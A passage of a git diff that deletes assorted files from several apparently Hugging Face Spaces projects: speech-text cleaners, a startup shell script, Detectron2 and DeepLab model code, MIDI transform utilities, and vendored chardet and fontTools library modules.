-  '''Pipeline for English text, including abbreviation expansion.'''
-  text = convert_to_ascii(text)
-  text = lowercase(text)
-  text = expand_abbreviations(text)
-  phonemes = phonemize(text, language='en-us', backend='espeak', strip=True)
-  phonemes = collapse_whitespace(phonemes)
-  return phonemes
-
-
-def english_cleaners2(text):
-  '''Pipeline for English text, including abbreviation expansion. + punctuation + stress'''
-  text = convert_to_ascii(text)
-  text = lowercase(text)
-  text = expand_abbreviations(text)
-  phonemes = phonemize(text, language='en-us', backend='espeak', strip=True, preserve_punctuation=True, with_stress=True)
-  phonemes = collapse_whitespace(phonemes)
-  return phonemes
diff --git a/spaces/cahya/indonesian-whisperer/app/start.sh b/spaces/cahya/indonesian-whisperer/app/start.sh
deleted file mode 100644
index e50ce3aafefbbc676594ca8a7049b8bc730647c8..0000000000000000000000000000000000000000
--- a/spaces/cahya/indonesian-whisperer/app/start.sh
+++ /dev/null
@@ -1,22 +0,0 @@
-#!/usr/bin/env bash
-set -e
-
-cd /home/user/app
-
-/usr/local/bin/ttyd -p 7681 /bin/bash&
-
-echo "Console Auth <$CONSOLE_AUTH>"
-echo "$CONSOLE_AUTH" > /etc/nginx/htpasswd
-nginx
-
-python whisper.py&
-
-if [ "$DEBUG" = true ] ; then
-    echo 'Debugging - ON'
-    uvicorn api:app --host 0.0.0.0 --port 7880 --reload
-else
-    echo 'Debugging - OFF'
-    uvicorn api:app --host 0.0.0.0 --port 7880
-    echo $?
-    echo END
-fi
diff --git a/spaces/carlosalonso/Detection-video/carpeta_deteccion/detectron2/modeling/postprocessing.py b/spaces/carlosalonso/Detection-video/carpeta_deteccion/detectron2/modeling/postprocessing.py
deleted file mode 100644
index 84512606a43d6991df0ae1f046164eb3c70d751a..0000000000000000000000000000000000000000
--- a/spaces/carlosalonso/Detection-video/carpeta_deteccion/detectron2/modeling/postprocessing.py
+++ /dev/null
@@ -1,100 +0,0 @@
-# Copyright (c) Facebook, Inc. and its affiliates.
-import torch
-from torch.nn import functional as F
-
-from detectron2.structures import Instances, ROIMasks
-
-
-# perhaps should rename to "resize_instance"
-def detector_postprocess(
-    results: Instances, output_height: int, output_width: int, mask_threshold: float = 0.5
-):
-    """
-    Resize the output instances.
-    The input images are often resized when entering an object detector.
-    As a result, we often need the outputs of the detector in a different
-    resolution from its inputs.
-
-    This function will resize the raw outputs of an R-CNN detector
-    to produce outputs according to the desired output resolution.
-
-    Args:
-        results (Instances): the raw outputs from the detector.
-            `results.image_size` contains the input image resolution the detector sees.
-            This object might be modified in-place.
-        output_height, output_width: the desired output resolution.
-    Returns:
-        Instances: the resized output from the model, based on the output resolution
-    """
-    if isinstance(output_width, torch.Tensor):
-        # This shape might (but not necessarily) be tensors during tracing.
-        # Converts integer tensors to float temporaries to ensure true
-        # division is performed when computing scale_x and scale_y.
-        output_width_tmp = output_width.float()
-        output_height_tmp = output_height.float()
-        new_size = torch.stack([output_height, output_width])
-    else:
-        new_size = (output_height, output_width)
-        output_width_tmp = output_width
-        output_height_tmp = output_height
-
-    scale_x, scale_y = (
-        output_width_tmp / results.image_size[1],
-        output_height_tmp / results.image_size[0],
-    )
-    results = Instances(new_size, **results.get_fields())
-
-    if results.has("pred_boxes"):
-        output_boxes = results.pred_boxes
-    elif results.has("proposal_boxes"):
-        output_boxes = results.proposal_boxes
-    else:
-        output_boxes = None
-    assert output_boxes is not None, "Predictions must contain boxes!"
-
-    output_boxes.scale(scale_x, scale_y)
-    output_boxes.clip(results.image_size)
-
-    results = results[output_boxes.nonempty()]
-
-    if results.has("pred_masks"):
-        if isinstance(results.pred_masks, ROIMasks):
-            roi_masks = results.pred_masks
-        else:
-            # pred_masks is a tensor of shape (N, 1, M, M)
-            roi_masks = ROIMasks(results.pred_masks[:, 0, :, :])
-        results.pred_masks = roi_masks.to_bitmasks(
-            results.pred_boxes, output_height, output_width, mask_threshold
-        ).tensor  # TODO return ROIMasks/BitMask object in the future
-
-    if results.has("pred_keypoints"):
-        results.pred_keypoints[:, :, 0] *= scale_x
-        results.pred_keypoints[:, :, 1] *= scale_y
-
-    return results
-
-
-def sem_seg_postprocess(result, img_size, output_height, output_width):
-    """
-    Return semantic segmentation predictions in the original resolution.
-
-    The input images are often resized when entering semantic segmentor. Moreover, in same
-    cases, they also padded inside segmentor to be divisible by maximum network stride.
-    As a result, we often need the predictions of the segmentor in a different
-    resolution from its inputs.
-
-    Args:
-        result (Tensor): semantic segmentation prediction logits. A tensor of shape (C, H, W),
-            where C is the number of classes, and H, W are the height and width of the prediction.
-        img_size (tuple): image size that segmentor is taking as input.
-        output_height, output_width: the desired output resolution.
-
-    Returns:
-        semantic segmentation prediction (Tensor): A tensor of the shape
-            (C, output_height, output_width) that contains per-pixel soft predictions.
-    """
-    result = result[:, : img_size[0], : img_size[1]].expand(1, -1, -1, -1)
-    result = F.interpolate(
-        result, size=(output_height, output_width), mode="bilinear", align_corners=False
-    )[0]
-    return result
diff --git a/spaces/carlosalonso/Detection-video/carpeta_deteccion/projects/DeepLab/deeplab/resnet.py b/spaces/carlosalonso/Detection-video/carpeta_deteccion/projects/DeepLab/deeplab/resnet.py
deleted file mode 100644
index 2cc277b24630a9425f4c37e1abc3352b49e1a031..0000000000000000000000000000000000000000
--- a/spaces/carlosalonso/Detection-video/carpeta_deteccion/projects/DeepLab/deeplab/resnet.py
+++ /dev/null
@@ -1,158 +0,0 @@
-# Copyright (c) Facebook, Inc. and its affiliates.
-import fvcore.nn.weight_init as weight_init
-import torch.nn.functional as F
-
-from detectron2.layers import CNNBlockBase, Conv2d, get_norm
-from detectron2.modeling import BACKBONE_REGISTRY
-from detectron2.modeling.backbone.resnet import (
-    BasicStem,
-    BottleneckBlock,
-    DeformBottleneckBlock,
-    ResNet,
-)
-
-
-class DeepLabStem(CNNBlockBase):
-    """
-    The DeepLab ResNet stem (layers before the first residual block).
-    """
-
-    def __init__(self, in_channels=3, out_channels=128, norm="BN"):
-        """
-        Args:
-            norm (str or callable): norm after the first conv layer.
-                See :func:`layers.get_norm` for supported format.
-        """
-        super().__init__(in_channels, out_channels, 4)
-        self.in_channels = in_channels
-        self.conv1 = Conv2d(
-            in_channels,
-            out_channels // 2,
-            kernel_size=3,
-            stride=2,
-            padding=1,
-            bias=False,
-            norm=get_norm(norm, out_channels // 2),
-        )
-        self.conv2 = Conv2d(
-            out_channels // 2,
-            out_channels // 2,
-            kernel_size=3,
-            stride=1,
-            padding=1,
-            bias=False,
-            norm=get_norm(norm, out_channels // 2),
-        )
-        self.conv3 = Conv2d(
-            out_channels // 2,
-            out_channels,
-            kernel_size=3,
-            stride=1,
-            padding=1,
-            bias=False,
-            norm=get_norm(norm, out_channels),
-        )
-        weight_init.c2_msra_fill(self.conv1)
-        weight_init.c2_msra_fill(self.conv2)
-        weight_init.c2_msra_fill(self.conv3)
-
-    def forward(self, x):
-        x = self.conv1(x)
-        x = F.relu_(x)
-        x = self.conv2(x)
-        x = F.relu_(x)
-        x = self.conv3(x)
-        x = F.relu_(x)
-        x = F.max_pool2d(x, kernel_size=3, stride=2, padding=1)
-        return x
-
-
-@BACKBONE_REGISTRY.register()
-def build_resnet_deeplab_backbone(cfg, input_shape):
-    """
-    Create a ResNet instance from config.
-    Returns:
-        ResNet: a :class:`ResNet` instance.
-    """
-    # need registration of new blocks/stems?
-    norm = cfg.MODEL.RESNETS.NORM
-    if cfg.MODEL.RESNETS.STEM_TYPE == "basic":
-        stem = BasicStem(
-            in_channels=input_shape.channels,
-            out_channels=cfg.MODEL.RESNETS.STEM_OUT_CHANNELS,
-            norm=norm,
-        )
-    elif cfg.MODEL.RESNETS.STEM_TYPE == "deeplab":
-        stem = DeepLabStem(
-            in_channels=input_shape.channels,
-            out_channels=cfg.MODEL.RESNETS.STEM_OUT_CHANNELS,
-            norm=norm,
-        )
-    else:
-        raise ValueError("Unknown stem type: {}".format(cfg.MODEL.RESNETS.STEM_TYPE))
-
-    # fmt: off
-    freeze_at           = cfg.MODEL.BACKBONE.FREEZE_AT
-    out_features        = cfg.MODEL.RESNETS.OUT_FEATURES
-    depth               = cfg.MODEL.RESNETS.DEPTH
-    num_groups          = cfg.MODEL.RESNETS.NUM_GROUPS
-    width_per_group     = cfg.MODEL.RESNETS.WIDTH_PER_GROUP
-    bottleneck_channels = num_groups * width_per_group
-    in_channels         = cfg.MODEL.RESNETS.STEM_OUT_CHANNELS
-    out_channels        = cfg.MODEL.RESNETS.RES2_OUT_CHANNELS
-    stride_in_1x1       = cfg.MODEL.RESNETS.STRIDE_IN_1X1
-    res4_dilation       = cfg.MODEL.RESNETS.RES4_DILATION
-    res5_dilation       = cfg.MODEL.RESNETS.RES5_DILATION
-    deform_on_per_stage = cfg.MODEL.RESNETS.DEFORM_ON_PER_STAGE
-    deform_modulated    = cfg.MODEL.RESNETS.DEFORM_MODULATED
-    deform_num_groups   = cfg.MODEL.RESNETS.DEFORM_NUM_GROUPS
-    res5_multi_grid     = cfg.MODEL.RESNETS.RES5_MULTI_GRID
-    # fmt: on
-    assert res4_dilation in {1, 2}, "res4_dilation cannot be {}.".format(res4_dilation)
-    assert res5_dilation in {1, 2, 4}, "res5_dilation cannot be {}.".format(res5_dilation)
-    if res4_dilation == 2:
-        # Always dilate res5 if res4 is dilated.
-        assert res5_dilation == 4
-
-    num_blocks_per_stage = {50: [3, 4, 6, 3], 101: [3, 4, 23, 3], 152: [3, 8, 36, 3]}[depth]
-
-    stages = []
-
-    # Avoid creating variables without gradients
-    # It consumes extra memory and may cause allreduce to fail
-    out_stage_idx = [{"res2": 2, "res3": 3, "res4": 4, "res5": 5}[f] for f in out_features]
-    max_stage_idx = max(out_stage_idx)
-    for idx, stage_idx in enumerate(range(2, max_stage_idx + 1)):
-        if stage_idx == 4:
-            dilation = res4_dilation
-        elif stage_idx == 5:
-            dilation = res5_dilation
-        else:
-            dilation = 1
-        first_stride = 1 if idx == 0 or dilation > 1 else 2
-        stage_kargs = {
-            "num_blocks": num_blocks_per_stage[idx],
-            "stride_per_block": [first_stride] + [1] * (num_blocks_per_stage[idx] - 1),
-            "in_channels": in_channels,
-            "out_channels": out_channels,
-            "norm": norm,
-        }
-        stage_kargs["bottleneck_channels"] = bottleneck_channels
-        stage_kargs["stride_in_1x1"] = stride_in_1x1
-        stage_kargs["dilation"] = dilation
-        stage_kargs["num_groups"] = num_groups
-        if deform_on_per_stage[idx]:
-            stage_kargs["block_class"] = DeformBottleneckBlock
-            stage_kargs["deform_modulated"] = deform_modulated
-            stage_kargs["deform_num_groups"] = deform_num_groups
-        else:
-            stage_kargs["block_class"] = BottleneckBlock
-        if stage_idx == 5:
-            stage_kargs.pop("dilation")
-            stage_kargs["dilation_per_block"] = [dilation * mg for mg in res5_multi_grid]
-        blocks = ResNet.make_stage(**stage_kargs)
-        in_channels = out_channels
-        out_channels *= 2
-        bottleneck_channels *= 2
-        stages.append(blocks)
-    return ResNet(stem, stages, out_features=out_features).freeze(freeze_at)
diff --git a/spaces/caslabs/midi-autocompletion/musicautobot/music_transformer/transform.py b/spaces/caslabs/midi-autocompletion/musicautobot/music_transformer/transform.py
deleted file mode 100644
index 597ae2c7ca88ea2957d91e6872c43bee3d908160..0000000000000000000000000000000000000000
--- a/spaces/caslabs/midi-autocompletion/musicautobot/music_transformer/transform.py
+++ /dev/null
@@ -1,231 +0,0 @@
-from ..numpy_encode import *
-import numpy as np
-from enum import Enum
-import torch
-from ..vocab import *
-from functools import partial
-
-SEQType = Enum('SEQType', 'Mask, Sentence, Melody, Chords, Empty')
-
-class MusicItem():
-    def __init__(self, data, vocab, stream=None, position=None):
-        self.data = data
-        self.vocab = vocab
-        self._stream = stream
-        self._position = position
-    def __repr__(self): return '\n'.join([
-        f'\n{self.__class__.__name__} - {self.data.shape}',
-        f'{self.vocab.textify(self.data[:10])}...'])
-    def __len__(self): return len(self.data)
-
-    @classmethod
-    def from_file(cls, midi_file, vocab): 
-        return cls.from_stream(file2stream(midi_file), vocab)
-    @classmethod
-    def from_stream(cls, stream, vocab):
-        if not isinstance(stream, music21.stream.Score): stream = stream.voicesToParts()
-        chordarr = stream2chordarr(stream) # 2.
-        npenc = chordarr2npenc(chordarr) # 3.
-        return cls.from_npenc(npenc, vocab, stream)
-    @classmethod
-    def from_npenc(cls, npenc, vocab, stream=None): return MusicItem(npenc2idxenc(npenc, vocab), vocab, stream)
-    
-    @classmethod
-    def from_idx(cls, item, vocab):
-        idx,pos = item
-        return MusicItem(idx, vocab=vocab, position=pos)
-    def to_idx(self): return self.data, self.position
-    
-    @classmethod
-    def empty(cls, vocab, seq_type=SEQType.Sentence):
-        return MusicItem(seq_prefix(seq_type, vocab), vocab)
-
-    @property
-    def stream(self):
-        self._stream = self.to_stream() if self._stream is None else self._stream
-        return self._stream
-    
-    def to_stream(self, bpm=120):
-        return idxenc2stream(self.data, self.vocab, bpm=bpm)
-
-    def to_tensor(self, device=None):
-        return to_tensor(self.data, device)
-    
-    def to_text(self, sep=' '): return self.vocab.textify(self.data, sep)
-    
-    @property
-    def position(self): 
-        self._position = position_enc(self.data, self.vocab) if self._position is None else self._position
-        return self._position
-    
-    def get_pos_tensor(self, device=None): return to_tensor(self.position, device)
-
-    def to_npenc(self):
-        return idxenc2npenc(self.data, self.vocab)
-
-    def show(self, format:str=None):
-        return self.stream.show(format)
-    def play(self): self.stream.show('midi')
-        
-    @property
-    def new(self):
-        return partial(type(self), vocab=self.vocab)
-
-    def trim_to_beat(self, beat, include_last_sep=False):
-        return self.new(trim_to_beat(self.data, self.position, self.vocab, beat, include_last_sep))
-    
-    def transpose(self, interval):
-        return self.new(tfm_transpose(self.data, interval, self.vocab), position=self._position)
-    
-    def append(self, item):
-        return self.new(np.concatenate((self.data, item.data), axis=0))
-    
-    def mask_pitch(self, section=None):
-        return self.new(self.mask(self.vocab.note_range, section), position=self.position)
-    
-    def mask_duration(self, section=None, keep_position_enc=True):
-        masked_data = self.mask(self.vocab.dur_range, section)
-        if keep_position_enc: return self.new(masked_data, position=self.position)
-        return self.new(masked_data)
-
-    def mask(self, token_range, section_range=None):
-        return mask_section(self.data, self.position, token_range, self.vocab.mask_idx, section_range=section_range)
-    
-    def pad_to(self, bptt):
-        data = pad_seq(self.data, bptt, self.vocab.pad_idx)
-        pos = pad_seq(self.position, bptt, 0)
-        return self.new(data, stream=self._stream, position=pos)
-    
-    def split_stream_parts(self):
-        self._stream = separate_melody_chord(self.stream)
-        return self.stream
-
-    def remove_eos(self):
-        if self.data[-1] == self.vocab.stoi[EOS]: return self.new(self.data, stream=self.stream)
-        return self
-
-    def split_parts(self):
-        return self.new(self.data, stream=separate_melody_chord(self.stream), position=self.position)
-        
-def pad_seq(seq, bptt, value):
-    pad_len = max(bptt-seq.shape[0], 0)
-    return np.pad(seq, (0, pad_len), 'constant', constant_values=value)[:bptt]
-
-def to_tensor(t, device=None):
-    t = t if isinstance(t, torch.Tensor) else torch.tensor(t)
-    if device is None and torch.cuda.is_available(): t = t.cuda()
-    else: t.to(device)
-    return t.long()
-    
-def midi2idxenc(midi_file, vocab):
-    "Converts midi file to index encoding for training"
-    npenc = midi2npenc(midi_file) # 3.
-    return npenc2idxenc(npenc, vocab)
-
-def idxenc2stream(arr, vocab, bpm=120):
-    "Converts index encoding to music21 stream"
-    npenc = idxenc2npenc(arr, vocab)
-    return npenc2stream(npenc, bpm=bpm)
-
-# single stream instead of note,dur
-def npenc2idxenc(t, vocab, seq_type=SEQType.Sentence, add_eos=False):
-    "Transforms numpy array from 2 column (note, duration) matrix to a single column"
-    "[[n1, d1], [n2, d2], ...] -> [n1, d1, n2, d2]"
-    if isinstance(t, (list, tuple)) and len(t) == 2: 
-        return [npenc2idxenc(x, vocab, start_seq) for x in t]
-    t = t.copy()
-    
-    t[:, 0] = t[:, 0] + vocab.note_range[0]
-    t[:, 1] = t[:, 1] + vocab.dur_range[0]
-    
-    prefix = seq_prefix(seq_type, vocab)
-    suffix = np.array([vocab.stoi[EOS]]) if add_eos else np.empty(0, dtype=int)
-    return np.concatenate([prefix, t.reshape(-1), suffix])
-
-def seq_prefix(seq_type, vocab):
-    if seq_type == SEQType.Empty: return np.empty(0, dtype=int)
-    start_token = vocab.bos_idx
-    if seq_type == SEQType.Chords: start_token = vocab.stoi[CSEQ]
-    if seq_type == SEQType.Melody: start_token = vocab.stoi[MSEQ]
-    return np.array([start_token, vocab.pad_idx])
-
-def idxenc2npenc(t, vocab, validate=True):
-    if validate: t = to_valid_idxenc(t, vocab.npenc_range)
-    t = t.copy().reshape(-1, 2)
-    if t.shape[0] == 0: return t
-        
-    t[:, 0] = t[:, 0] - vocab.note_range[0]
-    t[:, 1] = t[:, 1] - vocab.dur_range[0]
-    
-    if validate: return to_valid_npenc(t)
-    return t
-
-def to_valid_idxenc(t, valid_range):
-    r = valid_range
-    t = t[np.where((t >= r[0]) & (t < r[1]))]
-    if t.shape[-1] % 2 == 1: t = t[..., :-1]
-    return t
-
-def to_valid_npenc(t):
-    is_note = (t[:, 0] < VALTSEP) | (t[:, 0] >= NOTE_SIZE)
-    invalid_note_idx = is_note.argmax()
-    invalid_dur_idx = (t[:, 1] < 0).argmax()
-
-    invalid_idx = max(invalid_dur_idx, invalid_note_idx)
-    if invalid_idx > 0: 
-        if invalid_note_idx > 0 and invalid_dur_idx > 0: invalid_idx = min(invalid_dur_idx, invalid_note_idx)
-        print('Non midi note detected. Only returning valid portion. Index, seed', invalid_idx, t.shape)
-        return t[:invalid_idx]
-    return t
-
-def position_enc(idxenc, vocab):
-    "Calculates positional beat encoding."
-    sep_idxs = (idxenc == vocab.sep_idx).nonzero()[0]
-    sep_idxs = sep_idxs[sep_idxs+2 < idxenc.shape[0]] # remove any indexes right before out of bounds (sep_idx+2)
-    dur_vals = idxenc[sep_idxs+1]
-    dur_vals[dur_vals == vocab.mask_idx] = vocab.dur_range[0] # make sure masked durations are 0
-    dur_vals -= vocab.dur_range[0]
-    
-    posenc = np.zeros_like(idxenc)
-    posenc[sep_idxs+2] = dur_vals
-    return posenc.cumsum()
-
-def beat2index(idxenc, pos, vocab, beat, include_last_sep=False):
-    cutoff = find_beat(pos, beat)
-    if cutoff < 2: return 2 # always leave starter tokens
-    if len(idxenc) < 2 or include_last_sep: return cutoff
-    if idxenc[cutoff - 2] == vocab.sep_idx: return cutoff - 2
-    return cutoff
-
-def find_beat(pos, beat, sample_freq=SAMPLE_FREQ, side='left'):
-    return np.searchsorted(pos, beat * sample_freq, side=side)
-
-# TRANSFORMS
-
-def tfm_transpose(x, value, vocab):
-    x = x.copy()
-    x[(x >= vocab.note_range[0]) & (x < vocab.note_range[1])] += value
-    return x
-
-def trim_to_beat(idxenc, pos, vocab, to_beat=None, include_last_sep=True):
-    if to_beat is None: return idxenc
-    cutoff = beat2index(idxenc, pos, vocab, to_beat, include_last_sep=include_last_sep)
-    return idxenc[:cutoff]
-
-def mask_input(xb, mask_range, replacement_idx):
-    xb = xb.copy()
-    xb[(xb >= mask_range[0]) & (xb < mask_range[1])] = replacement_idx
-    return xb
-
-def mask_section(xb, pos, token_range, replacement_idx, section_range=None):
-    xb = xb.copy()
-    token_mask = (xb >= token_range[0]) & (xb < token_range[1])
-
-    if section_range is None: section_range = (None, None)
-    section_mask = np.zeros_like(xb, dtype=bool)
-    start_idx = find_beat(pos, section_range[0]) if section_range[0] is not None else 0
-    end_idx = find_beat(pos, section_range[1]) if section_range[1] is not None else xb.shape[0]
-    section_mask[start_idx:end_idx] = True
-    
-    xb[token_mask & section_mask] = replacement_idx
-    return xb
diff --git a/spaces/chendl/compositional_test/transformers/examples/legacy/seq2seq/convert_model_to_fp16.py b/spaces/chendl/compositional_test/transformers/examples/legacy/seq2seq/convert_model_to_fp16.py
deleted file mode 100644
index 7fffbde79df7b7a9b5a4e079e1f17a58586b31ad..0000000000000000000000000000000000000000
--- a/spaces/chendl/compositional_test/transformers/examples/legacy/seq2seq/convert_model_to_fp16.py
+++ /dev/null
@@ -1,36 +0,0 @@
-#!/usr/bin/env python
-# Copyright 2020 The HuggingFace Team. All rights reserved.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-from typing import Union
-
-import fire
-import torch
-from tqdm import tqdm
-
-
-def convert(src_path: str, map_location: str = "cpu", save_path: Union[str, None] = None) -> None:
-    """Convert a pytorch_model.bin or model.pt file to torch.float16 for faster downloads, less disk space."""
-    state_dict = torch.load(src_path, map_location=map_location)
-    for k, v in tqdm(state_dict.items()):
-        if not isinstance(v, torch.Tensor):
-            raise TypeError("FP16 conversion only works on paths that are saved state dicts, like pytorch_model.bin")
-        state_dict[k] = v.half()
-    if save_path is None:  # overwrite src_path
-        save_path = src_path
-    torch.save(state_dict, save_path)
-
-
-if __name__ == "__main__":
-    fire.Fire(convert)
diff --git a/spaces/chrisjay/mnist-adversarial/app.css b/spaces/chrisjay/mnist-adversarial/app.css
deleted file mode 100644
index 6028eac63fd24a1248e23c688476b3b7ec8751a2..0000000000000000000000000000000000000000
--- a/spaces/chrisjay/mnist-adversarial/app.css
+++ /dev/null
@@ -1,3 +0,0 @@
-body {
-    background-image: url("mnist-dall.jpg");
-   }
\ No newline at end of file
diff --git a/spaces/chuan-hd/law-assistant-chatbot/.venv/lib/python3.11/site-packages/chardet/latin1prober.py b/spaces/chuan-hd/law-assistant-chatbot/.venv/lib/python3.11/site-packages/chardet/latin1prober.py
deleted file mode 100644
index 59a01d91b87d4282bede38ade7cc78c0f7552d0e..0000000000000000000000000000000000000000
--- a/spaces/chuan-hd/law-assistant-chatbot/.venv/lib/python3.11/site-packages/chardet/latin1prober.py
+++ /dev/null
@@ -1,147 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Universal charset detector code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 2001
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Mark Pilgrim - port to Python
-#   Shy Shalom - original C code
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-from typing import List, Union
-
-from .charsetprober import CharSetProber
-from .enums import ProbingState
-
-FREQ_CAT_NUM = 4
-
-UDF = 0  # undefined
-OTH = 1  # other
-ASC = 2  # ascii capital letter
-ASS = 3  # ascii small letter
-ACV = 4  # accent capital vowel
-ACO = 5  # accent capital other
-ASV = 6  # accent small vowel
-ASO = 7  # accent small other
-CLASS_NUM = 8  # total classes
-
-# fmt: off
-Latin1_CharToClass = (
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 00 - 07
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 08 - 0F
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 10 - 17
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 18 - 1F
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 20 - 27
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 28 - 2F
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 30 - 37
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 38 - 3F
-    OTH, ASC, ASC, ASC, ASC, ASC, ASC, ASC,   # 40 - 47
-    ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC,   # 48 - 4F
-    ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC,   # 50 - 57
-    ASC, ASC, ASC, OTH, OTH, OTH, OTH, OTH,   # 58 - 5F
-    OTH, ASS, ASS, ASS, ASS, ASS, ASS, ASS,   # 60 - 67
-    ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS,   # 68 - 6F
-    ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS,   # 70 - 77
-    ASS, ASS, ASS, OTH, OTH, OTH, OTH, OTH,   # 78 - 7F
-    OTH, UDF, OTH, ASO, OTH, OTH, OTH, OTH,   # 80 - 87
-    OTH, OTH, ACO, OTH, ACO, UDF, ACO, UDF,   # 88 - 8F
-    UDF, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 90 - 97
-    OTH, OTH, ASO, OTH, ASO, UDF, ASO, ACO,   # 98 - 9F
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # A0 - A7
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # A8 - AF
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # B0 - B7
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # B8 - BF
-    ACV, ACV, ACV, ACV, ACV, ACV, ACO, ACO,   # C0 - C7
-    ACV, ACV, ACV, ACV, ACV, ACV, ACV, ACV,   # C8 - CF
-    ACO, ACO, ACV, ACV, ACV, ACV, ACV, OTH,   # D0 - D7
-    ACV, ACV, ACV, ACV, ACV, ACO, ACO, ACO,   # D8 - DF
-    ASV, ASV, ASV, ASV, ASV, ASV, ASO, ASO,   # E0 - E7
-    ASV, ASV, ASV, ASV, ASV, ASV, ASV, ASV,   # E8 - EF
-    ASO, ASO, ASV, ASV, ASV, ASV, ASV, OTH,   # F0 - F7
-    ASV, ASV, ASV, ASV, ASV, ASO, ASO, ASO,   # F8 - FF
-)
-
-# 0 : illegal
-# 1 : very unlikely
-# 2 : normal
-# 3 : very likely
-Latin1ClassModel = (
-# UDF OTH ASC ASS ACV ACO ASV ASO
-    0,  0,  0,  0,  0,  0,  0,  0,  # UDF
-    0,  3,  3,  3,  3,  3,  3,  3,  # OTH
-    0,  3,  3,  3,  3,  3,  3,  3,  # ASC
-    0,  3,  3,  3,  1,  1,  3,  3,  # ASS
-    0,  3,  3,  3,  1,  2,  1,  2,  # ACV
-    0,  3,  3,  3,  3,  3,  3,  3,  # ACO
-    0,  3,  1,  3,  1,  1,  1,  3,  # ASV
-    0,  3,  1,  3,  1,  1,  3,  3,  # ASO
-)
-# fmt: on
-
-
-class Latin1Prober(CharSetProber):
-    def __init__(self) -> None:
-        super().__init__()
-        self._last_char_class = OTH
-        self._freq_counter: List[int] = []
-        self.reset()
-
-    def reset(self) -> None:
-        self._last_char_class = OTH
-        self._freq_counter = [0] * FREQ_CAT_NUM
-        super().reset()
-
-    @property
-    def charset_name(self) -> str:
-        return "ISO-8859-1"
-
-    @property
-    def language(self) -> str:
-        return ""
-
-    def feed(self, byte_str: Union[bytes, bytearray]) -> ProbingState:
-        byte_str = self.remove_xml_tags(byte_str)
-        for c in byte_str:
-            char_class = Latin1_CharToClass[c]
-            freq = Latin1ClassModel[(self._last_char_class * CLASS_NUM) + char_class]
-            if freq == 0:
-                self._state = ProbingState.NOT_ME
-                break
-            self._freq_counter[freq] += 1
-            self._last_char_class = char_class
-
-        return self.state
-
-    def get_confidence(self) -> float:
-        if self.state == ProbingState.NOT_ME:
-            return 0.01
-
-        total = sum(self._freq_counter)
-        confidence = (
-            0.0
-            if total < 0.01
-            else (self._freq_counter[3] - self._freq_counter[1] * 20.0) / total
-        )
-        confidence = max(confidence, 0.0)
-        # lower the confidence of latin1 so that other more accurate
-        # detector can take priority.
-        confidence *= 0.73
-        return confidence
diff --git a/spaces/chuan-hd/law-assistant-chatbot/.venv/lib/python3.11/site-packages/fontTools/ufoLib/filenames.py b/spaces/chuan-hd/law-assistant-chatbot/.venv/lib/python3.11/site-packages/fontTools/ufoLib/filenames.py
deleted file mode 100644
index 7f1af58ee8458fb6aa5504c5f2a8bab8684148b7..0000000000000000000000000000000000000000
--- a/spaces/chuan-hd/law-assistant-chatbot/.venv/lib/python3.11/site-packages/fontTools/ufoLib/filenames.py
+++ /dev/null
@@ -1,291 +0,0 @@
-"""
-User name to file name conversion.
-This was taken from the UFO 3 spec.
-"""
-
-# Restrictions are taken mostly from
-# https://docs.microsoft.com/en-gb/windows/win32/fileio/naming-a-file#naming-conventions.
-#
-# 1. Integer value zero, sometimes referred to as the ASCII NUL character.
-# 2. Characters whose integer representations are in the range 1 to 31,
-#    inclusive.
-# 3. Various characters that (mostly) Windows and POSIX-y filesystems don't
-#    allow, plus "(" and ")", as per the specification.
-illegalCharacters = {
-    "\x00",
-    "\x01",
-    "\x02",
-    "\x03",
-    "\x04",
-    "\x05",
-    "\x06",
-    "\x07",
-    "\x08",
-    "\t",
-    "\n",
-    "\x0b",
-    "\x0c",
-    "\r",
-    "\x0e",
-    "\x0f",
-    "\x10",
-    "\x11",
-    "\x12",
-    "\x13",
-    "\x14",
-    "\x15",
-    "\x16",
-    "\x17",
-    "\x18",
-    "\x19",
-    "\x1a",
-    "\x1b",
-    "\x1c",
-    "\x1d",
-    "\x1e",
-    "\x1f",
-    '"',
-    "*",
-    "+",
-    "/",
-    ":",
-    "<",
-    ">",
-    "?",
-    "[",
-    "\\",
-    "]",
-    "(",
-    ")",
-    "|",
-    "\x7f",
-}
-reservedFileNames = {
-    "aux",
-    "clock$",
